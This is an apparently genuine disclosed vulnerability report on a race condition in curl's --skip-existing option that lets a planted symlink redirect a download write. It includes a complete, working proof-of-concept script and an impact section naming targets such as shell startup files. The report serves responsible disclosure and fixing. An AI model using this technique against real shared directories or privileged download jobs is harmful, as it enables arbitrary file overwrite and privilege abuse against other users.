HexBrain

curl · Report #3747959

curl --skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write

N/Astatus
mediumseverity
42upvotes
20 May 2026disclosed

How it was found

Summary:

The curl CLI's --skip-existing option performs a separate existence check before the download body is written. In the verified path, curl first calls stat() on the target pathname and decides "the file does not exist, so continue", but it does not keep an fd bound to that decision. The actual output file is only opened later, when the first response body bytes reach the write callback, and the normal clobbering path uses fopen("wb"), which follows symlinks. An attacker who can modify the download directory after the request starts can therefore create a same-name symlink in the gap between the check and the later open, causing curl to overwrite the symlink target instead of a file inside the intended directory. A cooperating or malicious server can make this race reliable by accepting the request and intentionally delaying the response body until the symlink has been planted. This is a real filesystem write-redirection bug in curl's --skip-existing logic, not just caller misuse.

Affected version

Validated locally on:

curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libpsl/0.21.2

Platform:

Linux L-G4274LMD-1548 6.6.87.2-microsoft-standard-WSL2 x86_64 GNU/Linux

This appears to affect curl CLI builds that include --skip-existing. That option was added in 8.10.0, and the reproduced bug is in that option's current implementation path.

Steps To Reproduce:

  1. From the repository root, run the following self-contained script. It does not rely on any local PoC file. It creates a world-writable shared directory, starts a local HTTP server that delays the body, runs curl --skip-existing -O, inserts the symlink only after the request has already started, and then confirms that a file outside the shared directory was overwritten:
set -euo pipefail

ROOT="$PWD"
CURL_BIN=""
for candidate in "$ROOT/src/curl" "$ROOT/build-h2-asan/src/curl" "$(command -v curl)"; do
  if [ -n "${candidate:-}" ] && [ -x "$candidate" ]; then
    CURL_BIN="$candidate"
    break
  fi
done
if [ -z "$CURL_BIN" ]; then
  echo "could not find a curl binary to test" >&2
  exit 1
fi

TMPDIR="$(mktemp -d)"
trap 'jobs -p | xargs -r kill 2>/dev/null || true; rm -rf "$TMPDIR"' EXIT
SHARED="$TMPDIR/shared"
TARGET="$TMPDIR/target"
SIGNAL="$TMPDIR/signal"
mkdir -p "$SHARED" "$TARGET" "$SIGNAL"
chmod 1777 "$SHARED"
printf 'ORIGINAL\n' > "$TARGET/important.txt"

cat >"$TMPDIR/server.py" <<'PY'
import os
import sys
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

port_file, ready_file, go_file = sys.argv[1:4]

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path != "/payload.txt":
            self.send_response(404)
            self.end_headers()
            return
        open(ready_file, "w").close()
        while not os.path.exists(go_file):
            time.sleep(0.02)
        body = b"RACED-SKIP-EXISTING\n"
        self.send_response(200)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, *args):
        pass

server = HTTPServer(("127.0.0.1", 0), Handler)
with open(port_file, "w", encoding="ascii") as f:
    f.write(str(server.server_port))
    f.flush()
server.serve_forever()
PY

python3 -u "$TMPDIR/server.py" \
  "$SIGNAL/port" "$SIGNAL/request.ready" "$SIGNAL/send-body" &

for _ in $(seq 1 50); do
  [ -s "$SIGNAL/port" ] && break
  sleep 0.1
done
[ -s "$SIGNAL/port" ] || { echo "server did not start" >&2; exit 1; }
PORT="$(cat "$SIGNAL/port")"

(
  cd "$SHARED"
  "$CURL_BIN" -sS --skip-existing -O "http://127.0.0.1:$PORT/payload.txt"
) >"$TMPDIR/curl.stdout" 2>"$TMPDIR/curl.stderr" &
CURL_PID=$!

for _ in $(seq 1 200); do
  [ -e "$SIGNAL/request.ready" ] && break
  sleep 0.05
done
[ -e "$SIGNAL/request.ready" ] || { echo "curl never reached the request stage" >&2; exit 1; }

if [ -e "$SHARED/payload.txt" ]; then
  echo "payload.txt unexpectedly exists before the race is triggered" >&2
  exit 1
fi

ln -s ../target/important.txt "$SHARED/payload.txt"
touch "$SIGNAL/send-body"

wait "$CURL_PID"

echo "curl binary: $CURL_BIN"
echo "shared dir: $SHARED"
echo "shared mode: $(stat -c '%A %a' "$SHARED")"
echo "symlink target: $(readlink "$SHARED/payload.txt")"
echo "victim body: $(cat "$TARGET/important.txt")"

if [ "$(cat "$TARGET/important.txt")" = "RACED-SKIP-EXISTING" ]; then
  echo
  echo "BUG CONFIRMED: curl followed the post-check symlink and overwrote a file outside the shared directory."
else
  echo
  echo "PoC did not reproduce." >&2
  exit 1
fi
  1. Expected safe behavior:

    • once curl decides "the file does not exist, continue", a later attacker-created symlink should not be able to change the write target
    • curl should either bind the decision to an already-open fd, or fail safely when the path has changed
  2. Observed vulnerable behavior:

    • the script prints BUG CONFIRMED
    • shared/payload.txt remains a symlink to ../target/important.txt
    • target/important.txt, which lives outside the shared download directory, is overwritten with RACED-SKIP-EXISTING
  3. Relevant code path in the current tree:

    • src/tool_operate.c: --skip-existing checks curlx_stat(per->outfile, &fileinfo) and only sets a skip flag if the path already exists
    • src/tool_operate.c: if the file does not already exist, it leaves outs->stream = NULL
    • src/tool_cb_wrt.c: on first body write, curl calls tool_create_output_file()
    • src/tool_cb_wrt.c: the clobbering branch uses curlx_fopen(fname, "wb"), which follows the attacker-inserted symlink
  4. Why the exploit is practical:

    • the attacker does not need to win a tiny scheduler race
    • the server can deliberately delay the first body bytes until after the local attacker inserts the symlink
    • that makes the TOCTOU condition deterministic in shared or world-writable directories

Impact

Summary:

An attacker who can modify the chosen download directory after curl starts the request can redirect the eventual download write into any filesystem target writable by the victim process. In the strongest real-world case, this means a local attacker can wait for a privileged or automated curl job that uses --skip-existing in /tmp, a shared workspace, or another attacker-writable directory, then create the symlink after curl has already made its "file does not exist" decision. A malicious server can cooperate by delaying the response body until the symlink is in place, making exploitation reliable instead of probabilistic. The result is arbitrary file overwrite with attacker-controlled bytes relative to the victim process's privileges. Practical targets include shell startup files, config files, build scripts, and other writable files outside the intended download directory.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original